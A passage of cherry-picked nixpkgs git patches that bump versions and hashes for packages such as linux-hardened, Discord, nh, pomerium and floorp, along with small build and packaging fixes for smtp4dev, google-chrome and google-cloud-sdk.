Subject: [PATCH 0249/4511] linux/hardened/patches/6.6: v6.6.91-hardened1 ->
 v6.6.92-hardened1

(cherry picked from commit 261cda0517ec05cc5b4742a0dc49c7fdec2c64bc)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 9c10b13e728c..a5d2afcc2308 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -72,11 +72,11 @@
     "6.6": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.6.91-hardened1.patch",
-            "sha256": "08dhn42n73gx7inkczq1q3qass91imqkxs2r423z9g7dh0hgjgxk",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.6.91-hardened1/linux-hardened-v6.6.91-hardened1.patch"
+            "name": "linux-hardened-v6.6.92-hardened1.patch",
+            "sha256": "1wm1wm76mlw0vyp6d28rf4qz8wqx0ri7zaajycwymh1zh4600pn7",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.6.92-hardened1/linux-hardened-v6.6.92-hardened1.patch"
         },
-        "sha256": "1x2lwaaqzlgszk41cy6k5j9dcbxxkca5xjaznb82r987ahbkv3fh",
-        "version": "6.6.91"
+        "sha256": "1v1pq9yzxrlaxx4y4cj5q3wska0jbv2inc7phqfw70fj88kai0hx",
+        "version": "6.6.92"
     }
 }

From 0028a4c0ae55c1d87eebe874fc0a018b804f0192 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 18:22:52 +0000
Subject: [PATCH 0250/4511] discord-ptb: 0.0.143 -> 0.0.144

(cherry picked from commit 7913abb31bd9870fe464ac7e3eb9c9509c6a75be)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 5c98668d49f8..e22de3c345b7 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.95";
-        ptb = "0.0.143";
+        ptb = "0.0.144";
         canary = "0.0.678";
         development = "0.0.75";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-Ki6+o+8/yQjc6kxKS7Re2gBbpfMi3m02L69muqsNm04=";
+        hash = "sha256-URTBQ2YzkC8p7524RqR1OCqI3WkvtsClvd91RIWEQqU=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From a34b2fd5d319499c7ac2678d5880b4dd28ecad86 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 18:23:54 +0000
Subject: [PATCH 0251/4511] discord-canary: 0.0.678 -> 0.0.687

(cherry picked from commit 2c6d1cb741ef1ac35348f9139079e8188c44fe2c)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index e22de3c345b7..1c93b280d85d 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.95";
         ptb = "0.0.144";
-        canary = "0.0.678";
+        canary = "0.0.687";
         development = "0.0.75";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-Z+pTuR5xZfbmucdx9aBti5diNp5oCpP1mu60mq7oPB8=";
+        hash = "sha256-OaDN+Qklxieo9xlP8qVeCwWzPBe6bLXoFUkMOFCoqPg=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From 4b05d103e2f150184dbc2bebbe6782e3232b8d4d Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 18:25:55 +0000
Subject: [PATCH 0252/4511] pkgsCross.aarch64-darwin.discord: 0.0.345 ->
 0.0.347

(cherry picked from commit bed81b8c1359f66b7824d01749841fa0a7c2ae4b)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 1c93b280d85d..bdcbe1db7c2c 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -16,7 +16,7 @@ let
       }
     else
       {
-        stable = "0.0.345";
+        stable = "0.0.347";
         ptb = "0.0.173";
         canary = "0.0.784";
         development = "0.0.88";
@@ -44,7 +44,7 @@ let
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-uyMcHV8dbCwKFQWy/s77KfEHKc+NiAq1X9Q0ih1ELLk=";
+        hash = "sha256-X9c5ruehxEd8FIdaQigiz7WGnh851BMqdo7Cz1wEb7Q=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";

From bfd84339c672bb5a0aafe101f8f4cd77d7fe8054 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 18:26:50 +0000
Subject: [PATCH 0253/4511] pkgsCross.aarch64-darwin.discord-ptb: 0.0.173 ->
 0.0.174

(cherry picked from commit b2f467b1838092b50911cc95e1733233c35ae2ec)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index bdcbe1db7c2c..73fd9b1f15aa 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -17,7 +17,7 @@ let
     else
       {
         stable = "0.0.347";
-        ptb = "0.0.173";
+        ptb = "0.0.174";
         canary = "0.0.784";
         development = "0.0.88";
       };
@@ -48,7 +48,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-Fmh3EGjF3Xb2Vv39WEchrseo2t+4y1k+nLdb43GhJXI=";
+        hash = "sha256-/suI1rVJZE1z8wLfiD65p7IdBJsJnz8zX1A2xmMMDnc=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";

From 3d323cbdb477a97b25653874d7316f0352a09935 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 18:28:40 +0000
Subject: [PATCH 0254/4511] pkgsCross.aarch64-darwin.discord-canary: 0.0.784 ->
 0.0.793

(cherry picked from commit 4d0e7b6d3bfb8329f42b84e2c8fbe75288ebdeee)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 73fd9b1f15aa..5fd920588f03 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.347";
         ptb = "0.0.174";
-        canary = "0.0.784";
+        canary = "0.0.793";
         development = "0.0.88";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-N3OdQZiLpkkaxr4yTfszHPj9/zfeVlUup5r2GB8OCMg=";
+        hash = "sha256-/5jSp6dQiElzofpV7bRNPyUqRgq3Adzb8r40Nd8+Fn0=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From fa3c7a517b6a43068141114121b9517feef90b30 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Fri, 16 May 2025 18:15:07 +0200
Subject: [PATCH 0255/4511] lomiri.lomiri-url-dispatcher: 0.1.3 -> 0.1.4

(cherry picked from commit 9b841f2f53334187f005517b23908fbb36e5d26a)
---
 .../lomiri-url-dispatcher/default.nix         | 26 +++++--------------
 1 file changed, 6 insertions(+), 20 deletions(-)

diff --git a/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix b/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix
index 0ece914e0eef..c46beb634630 100644
--- a/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix
@@ -2,7 +2,6 @@
   stdenv,
   lib,
   fetchFromGitLab,
-  fetchpatch,
   gitUpdater,
   testers,
   cmake,
@@ -31,13 +30,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-url-dispatcher";
-  version = "0.1.3";
+  version = "0.1.4";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/core/lomiri-url-dispatcher";
-    rev = finalAttrs.version;
-    hash = "sha256-kde/HzhBHxTeyc2TCUJwpG7IfC8doDd/jNMF8KLM7KU=";
+    tag = finalAttrs.version;
+    hash = "sha256-+3/C6z8wyiNSpt/eyMl+j/TGJW0gZ5T3Vd1NmghK67k=";
   };
 
   outputs = [
@@ -46,22 +45,6 @@ stdenv.mkDerivation (finalAttrs: {
     "lib"
   ];
 
-  patches = [
-    # Fix case-sensitivity in tests
-    # Remove when https://gitlab.com/ubports/development/core/lomiri-url-dispatcher/-/merge_requests/8 merged & in release
-    (fetchpatch {
-      url = "https://gitlab.com/sunweaver/lomiri-url-dispatcher/-/commit/ebdd31b9640ca243e90bc7b8aca7951085998bd8.patch";
-      hash = "sha256-g4EohB3oDcWK4x62/3r/g6CFxqb7/rdK51+E/Fji1Do=";
-    })
-
-    # Make lomiri-url-dispatcher-gui wrappable
-    # Remove when https://gitlab.com/ubports/development/core/lomiri-url-dispatcher/-/merge_requests/28 merged & in release
-    (fetchpatch {
-      url = "https://gitlab.com/ubports/development/core/lomiri-url-dispatcher/-/commit/6512937e2b388ad1350072b8ed3b4140439b2321.patch";
-      hash = "sha256-P1A3hi8l7fJWFjGeK5hWYl8BoZMzRfo44MUTeM7vG2A=";
-    })
-  ];
-
   postPatch =
     ''
       substituteInPlace CMakeLists.txt \
@@ -174,6 +157,9 @@ stdenv.mkDerivation (finalAttrs: {
       starting them inside its own Application Confinement.
     '';
     homepage = "https://gitlab.com/ubports/development/core/lomiri-url-dispatcher";
+    changelog = "https://gitlab.com/ubports/development/core/lomiri-url-dispatcher/-/blob/${
+      if (!builtins.isNull finalAttrs.src.tag) then finalAttrs.src.tag else finalAttrs.src.rev
+    }/ChangeLog";
     license = with lib.licenses; [
       lgpl3Only
       gpl3Only

From 6fab3527c7736109ff5ebf86b4d841293c2e2927 Mon Sep 17 00:00:00 2001
From: Raul Steurer <raul@steurer.io>
Date: Wed, 28 May 2025 12:00:48 +0200
Subject: [PATCH 0256/4511] nh: 4.0.3 -> 4.1.0

(cherry picked from commit 0a2ca468f8e17d2f1ea82213a58069fefcd95b23)
---
 pkgs/by-name/nh/nh/package.nix | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/nh/nh/package.nix b/pkgs/by-name/nh/nh/package.nix
index 83a6d04ed5f9..85e860a9bbde 100644
--- a/pkgs/by-name/nh/nh/package.nix
+++ b/pkgs/by-name/nh/nh/package.nix
@@ -18,13 +18,13 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nh";
-  version = "4.0.3";
+  version = "4.1.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "nh";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-BCD0tfDNlQHFM75THRtXM3GegMg/KbREsYllg7Az9ao=";
+    hash = "sha256-OiuhBrJe1AyVxC+AV4HMJ+vhDvUfCyLpBmj+Fy7MDtM=";
   };
 
   strictDeps = true;
@@ -34,15 +34,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
     makeBinaryWrapper
   ];
 
-  preFixup = lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
+  postInstall = lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
     let
       emulator = stdenv.hostPlatform.emulator buildPackages;
     in
     ''
       mkdir completions
-      ${emulator} $out/bin/nh completions bash > completions/nh.bash
-      ${emulator} $out/bin/nh completions zsh > completions/nh.zsh
-      ${emulator} $out/bin/nh completions fish > completions/nh.fish
+
+      for shell in bash zsh fish; do
+        NH_NO_CHECKS=1 ${emulator} $out/bin/nh completions $shell > completions/nh.$shell
+      done
 
       installShellCompletion completions/*
     ''
@@ -54,10 +55,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-cNYPxM2DOLdyq0YcZ0S/WIa3gAx7aTzPp7Zhbtu4PKg=";
+  cargoHash = "sha256-/tbmzGUd1b4oa+29+eFdkE4l8vxMoIdHx40YgErY9pY=";
 
   passthru.updateScript = nix-update-script { };
 
+  env.NH_REV = finalAttrs.src.tag;
+
   meta = {
     changelog = "https://github.com/nix-community/nh/blob/${finalAttrs.version}/CHANGELOG.md";
     description = "Yet another nix cli helper";

From 357da45f9922ae9e8ca45eeeb051c50628ea4fd9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 00:46:27 +0000
Subject: [PATCH 0257/4511] pomerium: 0.29.3 -> 0.29.4

(cherry picked from commit 76c603b4156960cf3bc35cfc0ea9038d93c735ce)
---
 pkgs/by-name/po/pomerium/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/pomerium/package.nix b/pkgs/by-name/po/pomerium/package.nix
index 0c76b846b00a..426de7ce19f9 100644
--- a/pkgs/by-name/po/pomerium/package.nix
+++ b/pkgs/by-name/po/pomerium/package.nix
@@ -19,12 +19,12 @@ let
 in
 buildGo123Module rec {
   pname = "pomerium";
-  version = "0.29.3";
+  version = "0.29.4";
   src = fetchFromGitHub {
     owner = "pomerium";
     repo = "pomerium";
     rev = "v${version}";
-    hash = "sha256-jlNU6pygq6X0DL3f25aVGHB8VoKw+VEdNFB5QY8MR9E=";
+    hash = "sha256-Oj/wC3rr7CAw2iB0H8yUvzv5VCEIo8kc5sZrxFX6NrI=";
   };
 
   vendorHash = "sha256-K9LcGvANajoVKEDIswahD0mT5845qGZzafmWMKkVn8Q=";

From 2774a5112cb54d223e89100376118a0b7e9a9b11 Mon Sep 17 00:00:00 2001
From: fsagbuya <fa@m-labs.ph>
Date: Mon, 26 May 2025 14:36:16 +0800
Subject: [PATCH 0258/4511] perlPackages.AlienLibGumbo: fix build

(cherry picked from commit ad08ee8ee2ae088cbb886ba823e0195ba7e36938)
---
 pkgs/top-level/perl-packages.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 97119f7d3416..d01571ed3d46 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -456,6 +456,10 @@ with self;
       url = "mirror://cpan/authors/id/R/RU/RUZ/Alien-LibGumbo-0.05.tar.gz";
       hash = "sha256-D76RarEfaA5cKM0ayAA3IyPioOBq/8bIs2J5/GTXZRc=";
     };
+    # Fix linker detection broken by exported LD (see nixpkgs#9f2a89f)
+    preBuild = ''
+      export LD="${lib.getExe' stdenv.cc.bintools "${stdenv.cc.bintools.targetPrefix}ld"}"
+    '';
     buildInputs = [ AlienBaseModuleBuild ];
     propagatedBuildInputs = [
       AlienBuild
@@ -468,7 +472,7 @@ with self;
         artistic1
         gpl1Plus
       ];
-      broken = stdenv.hostPlatform.isDarwin; # never built on Hydra https://hydra.nixos.org/job/nixpkgs/staging-next/perl534Packages.AlienLibGumbo.x86_64-darwin
+      broken = stdenv.hostPlatform.isDarwin; # Fails with: ld: unknown option
     };
   };
 

From a3624a6e09e616a543b9492a8262630745bbe008 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 26 May 2025 22:41:44 +0200
Subject: [PATCH 0259/4511] smtp4dev: use finalAttrs pattern

(cherry picked from commit 7149b4252d9cab18118b6c6dde10785562985384)
---
 pkgs/by-name/sm/smtp4dev/package.nix | 26 +++++++++++---------------
 1 file changed, 11 insertions(+), 15 deletions(-)

diff --git a/pkgs/by-name/sm/smtp4dev/package.nix b/pkgs/by-name/sm/smtp4dev/package.nix
index 6b646d67af72..8d397f268941 100644
--- a/pkgs/by-name/sm/smtp4dev/package.nix
+++ b/pkgs/by-name/sm/smtp4dev/package.nix
@@ -9,25 +9,19 @@
   dotnetCorePackages,
   nix-update-script,
 }:
-let
+
+buildDotnetModule (finalAttrs: {
+  pname = "smtp4dev";
   version = "3.8.6";
+
   src = fetchFromGitHub {
     owner = "rnwood";
     repo = "smtp4dev";
-    tag = version;
+    tag = finalAttrs.version;
     hash = "sha256-k4nerh4cVVcFQF7a4Wvcfhefa3SstEOASk+0soN0n9k=";
   };
-  npmRoot = "Rnwood.Smtp4dev/ClientApp";
+
   patches = [ ./smtp4dev-npm-packages.patch ];
-in
-buildDotnetModule {
-  inherit
-    version
-    src
-    npmRoot
-    patches
-    ;
-  pname = "smtp4dev";
 
   nativeBuildInputs = [
     nodejs
@@ -36,10 +30,12 @@ buildDotnetModule {
     stdenv.cc # c compiler is needed for compiling npm-deps
   ];
 
+  npmRoot = "Rnwood.Smtp4dev/ClientApp";
+
   npmDeps = fetchNpmDeps {
-    inherit src patches;
+    inherit (finalAttrs) src patches;
     hash = "sha256-Uj0EnnsA+QHq5KHF2B93OG8rwxYrV6sEgMTbd43ttCA=";
-    postPatch = "cd ${npmRoot}";
+    postPatch = "cd ${finalAttrs.npmRoot}";
   };
 
   dotnet-sdk = dotnetCorePackages.sdk_8_0;
@@ -67,4 +63,4 @@ buildDotnetModule {
     ];
     platforms = lib.platforms.unix;
   };
-}
+})

From d8819e4bca302d124b6dd212b8788d49350379db Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 26 May 2025 22:22:01 +0200
Subject: [PATCH 0260/4511] smtp4dev: fix updateScript

(cherry picked from commit 84c82716821bfff3fbd16f51d35f63416abec6be)
---
 pkgs/by-name/sm/smtp4dev/package.nix | 5 +----
 pkgs/by-name/sm/smtp4dev/update.sh   | 5 +++++
 2 files changed, 6 insertions(+), 4 deletions(-)
 create mode 100755 pkgs/by-name/sm/smtp4dev/update.sh

diff --git a/pkgs/by-name/sm/smtp4dev/package.nix b/pkgs/by-name/sm/smtp4dev/package.nix
index 8d397f268941..9bf28dcf869e 100644
--- a/pkgs/by-name/sm/smtp4dev/package.nix
+++ b/pkgs/by-name/sm/smtp4dev/package.nix
@@ -7,7 +7,6 @@
   npmHooks,
   fetchNpmDeps,
   dotnetCorePackages,
-  nix-update-script,
 }:
 
 buildDotnetModule (finalAttrs: {
@@ -48,9 +47,7 @@ buildDotnetModule (finalAttrs: {
     mv $out/bin/Rnwood.Smtp4dev $out/bin/smtp4dev
   '';
 
-  passthru.updateScript = nix-update-script {
-    extraArgs = [ "--version-regex=^(\\d+\\.\\d+\\.\\d+)$" ];
-  };
+  passthru.updateScript = ./update.sh;
 
   meta = {
     description = "Fake smtp email server for development and testing";
diff --git a/pkgs/by-name/sm/smtp4dev/update.sh b/pkgs/by-name/sm/smtp4dev/update.sh
new file mode 100755
index 000000000000..3f673377909c
--- /dev/null
+++ b/pkgs/by-name/sm/smtp4dev/update.sh
@@ -0,0 +1,5 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p curl jq nix-update
+
+version=$(curl ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} -sfL "https://api.github.com/repos/rnwood/smtp4dev/releases/latest" | jq -r .tag_name)
+nix-update --version="$version" smtp4dev

From 9d3448b58a72e0a346f42e7757cced79e93bde16 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 26 May 2025 22:28:24 +0200
Subject: [PATCH 0261/4511] smtp4dev: add defelo as maintainer

(cherry picked from commit 44b108efca5e7f7daa855ce7c92f8e97a9732590)
---
 pkgs/by-name/sm/smtp4dev/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/sm/smtp4dev/package.nix b/pkgs/by-name/sm/smtp4dev/package.nix
index 9bf28dcf869e..7a4abeaa4a71 100644
--- a/pkgs/by-name/sm/smtp4dev/package.nix
+++ b/pkgs/by-name/sm/smtp4dev/package.nix
@@ -57,6 +57,7 @@ buildDotnetModule (finalAttrs: {
     maintainers = with lib.maintainers; [
       rucadi
       jchw
+      defelo
     ];
     platforms = lib.platforms.unix;
   };

From b4154b6e9cadeff4f7628e1d4eab6b6b6ac29e5b Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Thu, 29 May 2025 22:23:31 +0530
Subject: [PATCH 0262/4511] google-chrome: remove dependency to stdenv

Signed-off-by: John Titor <50095635+JohnRTitor@users.noreply.github.com>
(cherry picked from commit 2ec04d95b75454186d4a08b948e0ff852c4f7585)
---
 pkgs/by-name/go/google-chrome/package.nix | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index e14866776f08..eb061b7902c4 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -3,8 +3,8 @@
   lib,
   makeWrapper,
   patchelf,
-  stdenv,
   stdenvNoCC,
+  bintools,
 
   # Linked dynamic libraries.
   alsa-lib,
@@ -169,7 +169,7 @@ let
       qt6.qtwayland
     ];
 
-  linux = stdenv.mkDerivation (finalAttrs: {
+  linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
     version = "137.0.7151.55";
 
@@ -199,7 +199,7 @@ let
 
     unpackPhase = ''
       runHook preUnpack
-      ar x $src
+      ${lib.getExe' bintools "ar"} x $src
       tar xf data.tar.xz
       runHook postUnpack
     '';
@@ -267,7 +267,7 @@ let
 
       for elf in $out/share/google/$appname/{chrome,chrome-sandbox,chrome_crashpad_handler}; do
         patchelf --set-rpath $rpath $elf
-        patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" $elf
+        patchelf --set-interpreter ${bintools.dynamicLinker} $elf
       done
 
       runHook postInstall
@@ -327,4 +327,9 @@ let
     mainProgram = "google-chrome-stable";
   };
 in
-if stdenvNoCC.hostPlatform.isDarwin then darwin else linux
+if stdenvNoCC.hostPlatform.isDarwin then
+  darwin
+else if stdenvNoCC.hostPlatform.isLinux then
+  linux
+else
+  throw "Unsupported platform ${stdenvNoCC.hostPlatform.system}"

From 5ea9b9f74349cdb6b4bf123a695bf659ab645c59 Mon Sep 17 00:00:00 2001
From: ferres <justferres@yandex.ru>
Date: Wed, 19 Mar 2025 12:16:10 +0300
Subject: [PATCH 0263/4511] nixos/zeronsd: fix acl permissions

(cherry picked from commit 41f1eadb7350d7fac73bcb71cf4cddacd416d28e)
---
 nixos/modules/services/networking/zeronsd.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/networking/zeronsd.nix b/nixos/modules/services/networking/zeronsd.nix
index 23f1a5fa7e4f..25e7c03395bf 100644
--- a/nixos/modules/services/networking/zeronsd.nix
+++ b/nixos/modules/services/networking/zeronsd.nix
@@ -102,7 +102,7 @@ in
     }) cfg.servedNetworks;
 
     systemd.tmpfiles.rules = [
-      "a+ /var/lib/zerotier-one - - - - u:zeronsd:x"
+      "a+ /var/lib/zerotier-one - - - - mask::x,u:zeronsd:x"
       "a+ /var/lib/zerotier-one/authtoken.secret - - - - mask::r,u:zeronsd:r"
     ];
 

From 893464a6c1833acbf64437ec14aafa674c144b50 Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Thu, 29 May 2025 17:40:30 +0200
Subject: [PATCH 0264/4511] google-cloud-sdk: fix pyopenssl issue

(cherry picked from commit 84eb65587a8250111956f9c202db3df42a6e153c)
---
 pkgs/tools/admin/google-cloud-sdk/default.nix | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/pkgs/tools/admin/google-cloud-sdk/default.nix b/pkgs/tools/admin/google-cloud-sdk/default.nix
index cafd07ffd1b8..356353a99d88 100644
--- a/pkgs/tools/admin/google-cloud-sdk/default.nix
+++ b/pkgs/tools/admin/google-cloud-sdk/default.nix
@@ -21,7 +21,21 @@
 }:
 
 let
-  pythonEnv = python3.withPackages (
+  # remove ASAP: https://github.com/googleapis/google-api-python-client/issues/2554
+  pythonCustom = python3.override {
+    self = pythonCustom;
+    packageOverrides = _: super: {
+      pyopenssl = super.pyopenssl.overridePythonAttrs (old: rec {
+        version = "24.2.1";
+        src = old.src.override {
+          tag = version;
+          hash = "sha256-otK7Y7Kb/l3QOErhAcuDHB/CKG9l1vH2BTnOieAWNc0=";
+        };
+      });
+    };
+  };
+
+  pythonEnv = pythonCustom.withPackages (
     p:
     with p;
     [

From 6751c121dc63a78dd3553141202c2fddb02f1e2a Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Thu, 29 May 2025 15:46:16 -0500
Subject: [PATCH 0265/4511] lmstudio: 0.3.15.11 -> 0.3.16.8

(cherry picked from commit 959b5490661e3a5693f475dcdb4905fdb985c971)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index 5da2f785865f..bc8efbcf03d1 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.15-11";
-  hash_aarch64-darwin = "sha256-Bi5UbZR0fDYF+x9mtFaqZsOZZ1gMQAJN+IS/ST/5Wkc=";
-  version_x86_64-linux = "0.3.15-11";
-  hash_x86_64-linux = "sha256-EfynIN6DGSvzOgI+E7CxycJ2KUlFZx2YRwRihjhE3SM=";
+  version_aarch64-darwin = "0.3.16-8";
+  hash_aarch64-darwin = "sha256-iuC43czK26Yf4DM9BhUUBjgDilQeURq+ZdeN2BHPeVo=";
+  version_x86_64-linux = "0.3.16-8";
+  hash_x86_64-linux = "sha256-vouDzaSgkYN++FKz0tLn9ItHg0tQmnFk2U7RlQyAUWg=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From e7c27c45d03456910af7de536b89698798e0d264 Mon Sep 17 00:00:00 2001
From: Christoph Heiss <christoph@c8h4.io>
Date: Thu, 29 May 2025 19:35:19 +0200
Subject: [PATCH 0266/4511] floorp: 11.26.2 -> 11.27.0

Also update the description to what the upstream project uses.

Release announcement: https://blog.floorp.app/en/release/11.27.0.html
Git changelog: https://github.com/Floorp-Projects/Floorp/compare/v11.26.2...v11.27.0

Signed-off-by: Christoph Heiss <christoph@c8h4.io>
(cherry picked from commit 16c2a2eb1772f3d7baa69fedae4fa2aad2d88fcd)
---
 pkgs/applications/networking/browsers/floorp/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix
index 3a27b7a78531..2538b67d31f2 100644
--- a/pkgs/applications/networking/browsers/floorp/default.nix
+++ b/pkgs/applications/networking/browsers/floorp/default.nix
@@ -9,7 +9,7 @@
 (
   (buildMozillaMach rec {
     pname = "floorp";
-    packageVersion = "11.26.2";
+    packageVersion = "11.27.0";
     applicationName = "Floorp";
     binaryName = "floorp";
     branding = "browser/branding/official";
@@ -17,14 +17,14 @@
     allowAddonSideload = true;
 
     # Must match the contents of `browser/config/version.txt` in the source tree
-    version = "128.11.0";
+    version = "128.12.0";
 
     src = fetchFromGitHub {
       owner = "Floorp-Projects";
       repo = "Floorp";
       fetchSubmodules = true;
       rev = "v${packageVersion}";
-      hash = "sha256-tbdEiCFwMkeBB5n82TycyZ0wwE2+cCgLmjROl9kTHS8=";
+      hash = "sha256-lQ84NNWlu4hVKK/CDIDS5JKGdD4i7TTjv4x/dQhDJwo=";
     };
 
     extraConfigureFlags = [
@@ -45,7 +45,7 @@
     updateScript = ./update.sh;
 
     meta = {
